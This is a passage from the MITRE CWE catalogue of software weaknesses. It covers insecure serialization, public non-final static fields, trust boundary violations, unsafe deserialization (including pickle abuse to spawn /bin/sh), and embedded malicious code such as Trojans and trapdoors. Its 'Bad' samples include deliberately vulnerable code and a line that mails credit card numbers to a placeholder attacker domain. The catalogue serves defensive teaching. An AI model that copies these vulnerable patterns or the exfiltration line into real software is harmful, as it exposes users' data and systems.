Potential Mitigations

Phase: Implementation

In Java, explicitly define final writeObject() to prevent serialization. This is the recommended solution. Define the writeObject() function to throw an exception explicitly denying serialization.

Phase: Implementation

Make sure to prevent serialization of your objects.

Demonstrative Examples

Example 1:

This code creates a new record for a medical patient:

Example Language: Java *(Bad)*

```
class PatientRecord {
  private String name;
  private String socialSecurityNum;
  public Patient(String name,String ssn) {
    this.SetName(name);
    this.SetSocialSecurityNumber(ssn);
  }
}
```

This object does not explicitly deny serialization, allowing an attacker to serialize an instance of this object and gain a patient's name and Social Security number even though those fields are private.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	2390
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	2472
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Information leak through serialization
The CERT Oracle Secure Coding Standard for Java (2011)	SER03-J		Do not serialize unencrypted, sensitive data
The CERT Oracle Secure Coding Standard for Java (2011)	SER05-J		Do not serialize instances of inner classes
Software Fault Patterns	SFP23		Exposed Data

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.2024-11-17.

CWE-500: Public Static Field Not Marked Final

Weakness ID : 500
Structure : Simple
Abstraction : Variant

Description

An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.

Extended Description

Public static variables can be read without an accessor and changed without a mutator by any classes in the application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	493	Critical Public Variable Without Final Modifier	1190

Applicable Platforms

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Background Details

When a field is declared public but not final, the field can be read and written to by arbitrary Java code.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *The object could potentially be tampered with.*	
Confidentiality	Read Application Data *The object could potentially allow the object to be read.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Clearly identify the scope for all critical data elements, including whether they should be regarded as static.

Phase: Implementation

Make any static fields private and constant. A constant field is denoted by the keyword 'const' in C/C++ and ' final' in Java

Demonstrative Examples

Example 1:

The following examples use of a public static String variable to contain the name of a property/ configuration file for the application.

Example Language: C++ *(Bad)*

```
class SomeAppClass {
  public:
    static string appPropertiesConfigFile = "app/properties.config";
  ...
}
```

Example Language: Java *(Bad)*

```
public class SomeAppClass {
  public static String appPropertiesFile = "app/Application.properties";
  ...
}
```

Having a public static variable that is not marked final (constant) may allow the variable to the altered in a way not intended by the application. In this example the String variable can be modified to indicate a different on nonexistent properties file which could cause the application to crash or caused unexpected behavior.

Example Language: C++ *(Good)*

```
class SomeAppClass {
  public:
    static const string appPropertiesConfigFile = "app/properties.config";
  ...
}
```

Example Language: Java *(Good)*

```
public class SomeAppClass {
  public static final String appPropertiesFile = "app/Application.properties";
  ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2385
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	2442
MemberOf	C	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2467
MemberOf	C	1403	Comprehensive Categorization: Exposed Resource	1400	2549

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Overflow of static internal buffer
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ10-J		Do not use public static nonfinal variables
Software Fault Patterns	SFP28		Unexpected access points

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.2024-11-17.

CWE-501: Trust Boundary Violation

Weakness ID : 501
Structure : Simple
Abstraction : Base

Description

The product mixes trusted and untrusted data in the same data structure or structured message.

Extended Description

A trust boundary can be thought of as line drawn through a program. On one side of the line, data is untrusted. On the other side of the line, data is assumed to be trustworthy. The purpose of validation logic is to allow data to safely cross the trust boundary - to move from untrusted to trusted. A trust boundary violation occurs when a program blurs the line between what is trusted and what is untrusted. By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1463

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	2338

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

The following code accepts an HTTP request and stores the username parameter in the HTTP session object before checking to ensure that the user has been authenticated.

Example Language: Java *(Bad)*

```
usrname = request.getParameter("usrname");
if (session.getAttribute(ATTR_USR) == null) {
  session.setAttribute(ATTR_USR, usrname);
}
```

Example Language: C# *(Bad)*

```
usrname = request.Item("usrname");
if (session.Item(ATTR_USR) == null) {
  session.Add(ATTR_USR, usrname);
}
```

Without well-established and maintained trust boundaries, programmers will inevitably lose track of which pieces of data have been validated and which have not. This confusion will eventually allow some data to be used without first being validated.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	485	7PK - Encapsulation	700	2349
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2421
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf	C	1364	ICS Communications: Zone Boundary Failures	1358	2522
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Trust Boundary Violation
Software Fault Patterns	SFP23		Exposed Data

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-502: Deserialization of Untrusted Data

Weakness ID : 502
Structure : Simple
Abstraction : Base

Description

The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1814
PeerOf	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1818
PeerOf	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1818

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	913	Improper Control of Dynamically-Managed Code Resources	1814

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2454

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	399	Resource Management Errors	2345

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : Ruby *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Python *(Prevalence = Undetermined)*

Language : JavaScript *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Often)*

Background Details

Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").

Alternate Terms

Marshaling, Unmarshaling : Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.

Pickling, Unpickling : In Python, the "pickle" functionality is used to perform serialization and deserialization.

PHP Object Injection : Some PHP application researchers use this term when attacking unsafe use of the unserialize() function; but it is also used for CWE-915.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data Unexpected State *Attackers can modify unexpected objects or data that was assumed to be safe from modification. Deserialized data or code could be modified without using the provided accessor functions, or unexpected functions could be invoked.*	
Availability	DoS: Resource Consumption (CPU) *If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.*	
Other	Varies by Context	

Scope	Impact	Likelihood
	The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used. Making an assumption that the code in the deserialized object is valid is dangerous and can enable exploitation. One example is attackers using gadget chains to perform unauthorized actions, such as generating a shell.	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.

Phase: Implementation

Explicitly define a final object() to prevent deserialization.

Phase: Architecture and Design

Phase: Implementation

Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.

Phase: Implementation

Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.

Phase: Architecture and Design

Phase: Implementation

Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.

Demonstrative Examples

Example 1:

This code snippet deserializes an object from a file and uses it as a UI button:

Example Language: Java *(Bad)*

```
try {
    File file = new File("object.obj");
    ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
    javax.swing.JButton button = (javax.swing.JButton) in.readObject();
    in.close();
}
```

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is:

Example Language: Java *(Good)*

```
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); }
```

Example 2:

In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [REF-467], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.

Example Language: Python *(Bad)*

```
try {
    class ExampleProtocol(protocol.Protocol):
    def dataReceived(self, data):
    # Code that would be here would parse the incoming data
    # After receiving headers, call confirmAuth() to authenticate
    def confirmAuth(self, headers):
    try:
    token = cPickle.loads(base64.b64decode(headers['AuthToken']))
    if not check_hmac(token['signature'], token['data'], getSecretKey()):
    raise AuthFail
    self.secure_data = token['data']
    except:
    raise AuthFail
}
```

Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.

Observed Examples

Reference	Description
CVE-2019-12799	chain: bypass of untrusted deserialization issue (CWE-502) by using an assumed-trusted class (CWE-183) *https://www.cve.org/CVERecord?id=CVE-2019-12799*
CVE-2015-8103	Deserialization issue in commonly-used Java library allows remote execution. *https://www.cve.org/CVERecord?id=CVE-2015-8103*

Reference	Description
CVE-2015-4852	Deserialization issue in commonly-used Java library allows remote execution. *https://www.cve.org/CVERecord?id=CVE-2015-4852*
CVE-2013-1465	Use of PHP unserialize function on untrusted input allows attacker to modify application configuration. *https://www.cve.org/CVERecord?id=CVE-2013-1465*
CVE-2012-3527	Use of PHP unserialize function on untrusted input in content management system might allow code execution. *https://www.cve.org/CVERecord?id=CVE-2012-3527*
CVE-2012-0911	Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value. *https://www.cve.org/CVERecord?id=CVE-2012-0911*
CVE-2012-0911	Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution. *https://www.cve.org/CVERecord?id=CVE-2012-0911*
CVE-2011-2520	Python script allows local users to execute code via pickled data. *https://www.cve.org/CVERecord?id=CVE-2011-2520*
CVE-2012-4406	Unsafe deserialization using pickle in a Python script. *https://www.cve.org/CVERecord?id=CVE-2012-4406*
CVE-2003-0791	Web browser allows execution of native methods via a crafted string to a JavaScript function that deserializes the string. *https://www.cve.org/CVERecord?id=CVE-2003-0791*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	2390
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2438
MemberOf	C	1034	OWASP Top Ten 2017 Category A8 - Insecure Deserialization	1026	2459
MemberOf	C	1148	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)	1133	2472
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2608
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2506
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2610
MemberOf	V	1340	CISQ Data Protection Measures	1340	2611
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2615
MemberOf	C	1354	OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures	1344	2516
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2618
MemberOf	C	1415	Comprehensive Categorization: Resource Control	1400	2565
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2621
MemberOf	V	1430	Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses	1430	2622

Notes

Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Deserialization of untrusted data
The CERT Oracle Secure Coding Standard for Java (2011)	SER01-J		Do not deviate from the proper signatures of serialization methods
The CERT Oracle Secure Coding Standard for Java (2011)	SER03-J		Do not serialize unencrypted, sensitive data
The CERT Oracle Secure Coding Standard for Java (2011)	SER06-J		Make defensive copies of private mutable components during deserialization
The CERT Oracle Secure Coding Standard for Java (2011)	SER08-J		Do not use the default serialized form for implementation defined invariants
Software Fault Patterns	SFP25		Tainted input to variable

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
586	Object Injection

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.2024-11-17.

[REF-461]Matthias Kaiser. "Exploiting Deserialization Vulnerabilities in Java". 2015 October 8. < https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478 >.2023-04-07.

[REF-462]Sam Thomas. "PHP unserialization vulnerabilities: What are we missing?". 2015 August 7. < https://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing >.2023-04-07.

[REF-463]Gabriel Lawrence and Chris Frohoff. "Marshalling Pickles: How deserializing objects can ruin your day". 2015 January 8. < https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles >.2023-04-07.

[REF-464]Heine Deelstra. "Unserializing user-supplied data, a bad idea". 2010 August 5. < https://drupalsun.com/heine/2010/08/25/unserializing-user-supplied-data-bad-idea >.2023-04-07.

[REF-465]Manish S. Saindane. "Black Hat EU 2010 - Attacking Java Serialized Communication". 2010 April 6. < https://www.slideshare.net/msaindane/black-hat-eu-2010-attacking-java-serialized-communication >.2023-04-07.

[REF-466]Nadia Alramli. "Why Python Pickle is Insecure". 2009 September 9. < http://michael-rushanan.blogspot.com/2012/10/why-python-pickle-is-insecure.html >.2023-04-07.

[REF-467]Nelson Elhage. "Exploiting misuse of Python's "pickle"". 2011 March 0. < https://blog.nelhage.com/2011/03/exploiting-pickle/ >.

[REF-468]Chris Frohoff. "Deserialize My Shorts: Or How I Learned to Start Worrying and Hate Java Object Deserialization". 2016 March 1. < https://speakerdeck.com/frohoff/owasp-sd-deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization >.2023-04-07.

CWE-506: Embedded Malicious Code

Weakness ID : 506
Structure : Simple
Abstraction : Class

Description

The product contains code that appears to be malicious in nature.

Extended Description

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	912	Hidden Functionality	1812
ParentOf	B	507	Trojan Horse	1220
ParentOf	B	510	Trapdoor	1223
ParentOf	B	511	Logic/Time Bomb	1225
ParentOf	B	512	Spyware	1226

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Detection Methods

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies Generated Code Inspection

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Origin Analysis

Effectiveness = SOAR Partial

Potential Mitigations

Phase: Testing

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

Demonstrative Examples

Example 1:

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

Example Language: Java *(Bad)*

```
boolean authorizeCard(String ccn) {
  // Authorize credit card.
  ...
  mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
```

Observed Examples

Reference	Description
CVE-2022-30877	A command history tool was shipped with a code-execution backdoor inserted by a malicious party. *https://www.cve.org/CVERecord?id=CVE-2022-30877*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2408
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Notes

Terminology

The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Malicious

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
442	Infected Software
448	Embed Virus into DLL
636	Hiding Malicious Data or Code within Files

References

[REF-1431]Carl E. Landwehr, Alan R. Bull, John P. McDermott and William S. Choi. "A Taxonomy of Computer Program Security Flaws, with Examples". 1993 November 9. < https://

cwe.mitre.org/documents/sources/ATaxonomyofComputerProgramSecurityFlawswithExamples%5BLandwehr93%5D.pdf >.2024-11-17.

CWE-507: Trojan Horse

Weakness ID : 507
Structure : Simple
Abstraction : Base

Description

The product appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	506	Embedded Malicious Code	1218
ParentOf	B	508	Non-Replicating Malicious Code	1221
ParentOf	B	509	Replicating Malicious Code (Virus or Worm)	1222

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Operation

Most antivirus software scans for Trojan Horses.

Phase: Installation

Verify the integrity of the product that is being installed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2408
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Notes

Other

Potentially malicious dynamic code compiled at runtime can conceal any number of attacks that will not appear in the baseline. The use of dynamically compiled code could also allow the injection of attacks on post-deployed applications.

Terminology

Definitions of "Trojan horse" and related terms have varied widely over the years, but common usage in 2008 generally refers to software that performs a legitimate function, but also contains malicious code. Almost any malicious code can be called a Trojan horse, since the author of malicious code needs to disguise it somehow so that it will be invoked by a nonmalicious user (unless the author means also to invoke the code, in which case they presumably already possess the authorization to perform the intended sabotage). A Trojan horse that replicates itself by copying its code into other program files (see case MA1) is commonly referred to as a virus. One that replicates itself by creating new processes or files to contain its code, instead of modifying existing storage entities, is often called a worm. Denning provides a general discussion of these terms; differences of opinion about the term applicable to a particular flaw or its exploitations sometimes occur.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Trojan Horse

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
698	Install Malicious Extension

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-1431]Carl E. Landwehr, Alan R. Bull, John P. McDermott and William S. Choi. "A Taxonomy of Computer Program Security Flaws, with Examples". 1993 November 9. < https://cwe.mitre.org/documents/sources/ATaxonomyofComputerProgramSecurityFlawswithExamples%5BLandwehr93%5D.pdf >.2024-11-17.

CWE-508: Non-Replicating Malicious Code

Weakness ID : 508
Structure : Simple
Abstraction : Base

Description

Non-replicating malicious code only resides on the target system or product that is attacked; it does not attempt to spread to other systems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	507	Trojan Horse	1220

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Operation

Antivirus software can help mitigate known malicious code.

Phase: Installation

Verify the integrity of the software that is being installed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2408
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Non-Replicating

References

[REF-1431]Carl E. Landwehr, Alan R. Bull, John P. McDermott and William S. Choi. "A Taxonomy of Computer Program Security Flaws, with Examples". 1993 November 9. < https://cwe.mitre.org/documents/sources/ATaxonomyofComputerProgramSecurityFlawswithExamples%5BLandwehr93%5D.pdf >.2024-11-17.

CWE-509: Replicating Malicious Code (Virus or Worm)

Weakness ID : 509
Structure : Simple
Abstraction : Base

Description

Replicating malicious code, including viruses and worms, will attempt to attack other systems once it has successfully compromised the target system or the product.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	507	Trojan Horse	1220

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Operation

Antivirus software scans for viruses or worms.

Phase: Installation

Always verify the integrity of the software that is being installed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	904	SFP Primary Cluster: Malware	888	2408
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Landwehr			Replicating (virus)

References

[REF-1431]Carl E. Landwehr, Alan R. Bull, John P. McDermott and William S. Choi. "A Taxonomy of Computer Program Security Flaws, with Examples". 1993 November 9. < https://cwe.mitre.org/documents/sources/ATaxonomyofComputerProgramSecurityFlawswithExamples%5BLandwehr93%5D.pdf >.2024-11-17.

CWE-510: Trapdoor

Weakness ID : 510
Structure : Simple
Abstraction : Base

Description

A trapdoor is a hidden piece of code that responds to a special input, allowing its user access to resources without passing through the normal security enforcement mechanism.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	506	Embedded Malicious Code	1218

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inter-application Flow Analysis Binary / Bytecode simple extractor - strings, ELF readers, etc.

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies Generated Code Inspection

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution Forced Path Execution Debugger Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

